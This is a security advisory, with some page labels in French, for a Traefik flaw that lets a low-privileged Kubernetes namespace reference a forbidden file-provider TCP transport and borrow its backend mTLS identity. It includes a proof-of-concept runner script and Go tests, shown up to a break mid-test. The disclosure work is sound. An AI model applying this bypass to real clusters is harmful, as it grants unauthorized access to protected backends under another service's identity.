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CVE-2026-65602

Go · github.com/traefik/traefik/v3

Résumé

Traefik CRD IngressRouteTCP ServersTransport Cross-Provider Namespace Bypass

Détails de l’avis

Summary

There is a medium-severity cross-provider reference vulnerability in Traefik's Kubernetes CRD provider. The crossProviderNamespaces allowlist is enforced for HTTP serversTransport references but was not enforced for IngressRouteTCP service serversTransport references. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces could set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider TCPServersTransport — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the crossProviderNamespaces allowlist to TCP serversTransport references.

Patches

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description

Summary

Traefik's Kubernetes CRD provider enforces crossProviderNamespaces for several cross-provider references, but IngressRouteTCP service serversTransport references skip that allowlist. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces can still set serversTransport: foo@file on an IngressRouteTCP service. Traefik accepts the forbidden cross-provider reference and later uses the referenced TCPServersTransport, including privileged backend mTLS client certificates, SPIFFE identity, or PROXY protocol settings.

Description

crossProviderNamespaces is documented and implemented as an allowlist for namespaces that may declare cross-provider references from Kubernetes CRD objects. HTTP serversTransport references enforce that allowlist. TCP serversTransport references do not.

An attacker with low Kubernetes privileges in namespace default can create an IngressRouteTCP service with:

serversTransport: foo@file

Even when the provider is configured with:

crossProviderNamespaces:
  - operator-only

Traefik still emits a TCP dynamic service whose load balancer points to foo@file. At runtime, DialerManager.Build() uses the exact referenced transport name and applies that transport's TLS client certificates and related backend-connection settings.

Impact

The PoC demonstrates two positive facts:

  1. A namespace outside crossProviderNamespaces can cause Traefik to accept and store LoadBalancer.ServersTransport = "foo@file" from an IngressRouteTCP service.
  2. A qualified foo@file TCPServersTransport with a client certificate is actually consumed by the TCP dialer and presented to an mTLS backend.

This proves a backend identity relay primitive: a lower-privileged CRD author can make Traefik connect to a backend using an operator-defined cross-provider transport identity that the namespace should not be allowed to reference.

Proof Of Concept

Files

  • run.sh: portable runner.
  • poc_crd_test.go: positive CRD provider proof.
  • with_servers_transport_cross_provider_poc.yml: minimal IngressRouteTCP fixture.
  • poc_tcp_mtls_test.go: positive runtime mTLS identity-use proof.
run.sh 
#!/usr/bin/env sh
set -eu

TARGET_REF="${TARGET_REF:-v3.7.5}"
REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}"
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-tcp-st-poc.XXXXXX")}"

if [ "${KEEP_WORKDIR:-0}" != "1" ]; then
	trap 'rm -rf "$WORKDIR"' EXIT INT TERM
fi

echo "[*] target_ref=$TARGET_REF"
echo "[*] workdir=$WORKDIR"

if [ -n "${TRAEFIK_SRC:-}" ]; then
	echo "[*] cloning from local source: $TRAEFIK_SRC"
	git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik"
	cd "$WORKDIR/traefik"
	git -c advice.detachedHead=false checkout -q "$TARGET_REF"
else
	echo "[*] cloning from remote: $REPO_URL"
	git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik"
	cd "$WORKDIR/traefik"
fi

mkdir -p pkg/provider/kubernetes/crd/fixtures/tcp
cp "$SCRIPT_DIR/poc_crd_test.go" \
	 pkg/provider/kubernetes/crd/tcp_serverstransport_cross_provider_poc_test.go
cp "$SCRIPT_DIR/with_servers_transport_cross_provider_poc.yml" \
	 pkg/provider/kubernetes/crd/fixtures/tcp/with_servers_transport_cross_provider_poc.yml
cp "$SCRIPT_DIR/poc_tcp_mtls_test.go" \
	 pkg/tcp/dialer_cross_provider_identity_poc_test.go

echo "[*] running CRD provider policy-bypass PoC"
go test ./pkg/provider/kubernetes/crd \
	-run '^TestPoCTCPServersTransportCrossProviderNamespacesBypass
#39; \
	-count=1 -v

echo "[*] running TCPServersTransport mTLS identity-use PoC"
go test ./pkg/tcp \
	-run '^TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity
#39; \
	-count=1 -v

echo "POC_RESULT=PASS"
poc_crd_test.go 
package crd

import (
	"testing"

	"github.com/stretchr/testify/require"
	traefikcrdfake "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/generated/clientset/versioned/fake"
	kubefake "k8s.io/client-go/kubernetes/fake"
)

func TestPoCTCPServersTransportCrossProviderNamespacesBypass(t *testing.T) {
	k8sObjects, crdObjects := readResources(t, []string{
		"tcp/services.yml",
		"tcp/with_servers_transport_cross_provider_poc.yml",
	})

	kubeClient := kubefake.NewClientset(k8sObjects...)
	crdClient := traefikcrdfake.NewClientset(crdObjects...)
	client := newClientImpl(kubeClient, crdClient)

	stopCh := make(chan struct{})
	defer close(stopCh)

	eventCh, err := client.WatchAll(nil, stopCh)
	require.NoError(t, err)
	<-eventCh

	provider := Provider{
		AllowCrossNamespace:     true,
		CrossProviderNamespaces: []string{"operator-only"},
	}

	conf := provider.loadConfigurationFromCRD(t.Context(), client)
	service := conf.TCP.Services["default-test.route-fdd3e9338e47a45efefc"]
	require.NotNil(t, service)
	require.NotNil(t, service.LoadBalancer)
	require.Equal(t, "foo@file", service.LoadBalancer.ServersTransport)
	require.NotEmpty(t, service.LoadBalancer.Servers)
	require.True(t, service.LoadBalancer.Servers[0].TLS)

	t.Logf("POC_CRD_RESULT=accepted route_namespace=default allowed_cross_provider_namespaces=%v serversTransport=%q backend_tls=%v",
		provider.CrossProviderNamespaces,
		service.LoadBalancer.ServersTransport,
		service.LoadBalancer.Servers[0].TLS)
}
poc_tcp_mtls_test.go 
package tcp

import (
	"crypto/rand"
	"crypto/rsa"
	"crypto/tls"
	"crypto/x509"
	"crypto/x509/pkix"
	"encoding/pem"
	"fmt"
	"io"
	"math/big"
	"net"
	"testing"
	"time"

	"github.com/stretchr/testify/require"
	"github.com/traefik/traefik/v3/pkg/config/dynamic"
	traefiktls "github.com/traefik/traefik/v3/pkg/tls"
	"github.com/traefik/traefik/v3/pkg/types"
)

func TestPoCQualifiedTCPServersTransportPresentsFileMTLSIdentity(t *testing.T) {
	pki := newPoCPKI(t)

	dialerManager := NewDialerManager(nil)
	dialerManager.Update(map[string]*dynamic.TCPServersTransport{
		"foo@file": {
			TLS: &dynamic.TLSClientConfig{
				ServerName: "example.com",
				RootCAs:    []types.FileOrContent{types.FileOrContent(pki.caCertPEM)},
				Certificates: traefiktls.Certificates{
					traefiktls.Certificate{
						CertFile: types.FileOrContent(pki.clientCertPEM),
						KeyFile:  types.FileOrContent(pki.clientKeyPEM),
					},
				},
			},
		},
	})

	backendAddr, peerCN, done, closeBackend := newPoCMTLSBackend(t, pki)
	defer closeBackend()

	dialer, err := dialerManager.Build(&dynamic.TCPServersLoadBalancer{ServersTransport: "foo@file"}, true)
	require.NoError(t, err)

	conn, err := dialer.Dial("tcp", backendAddr, nil)
	require.NoError(t, err)
	defer conn.Close()

	_, err = conn.Write([]byte("ping"))
	require.NoError(t, err)

	buf := make([]byte, 4)
	_, err = io.ReadFull(conn, buf)
	require.NoError(t, err)
	re

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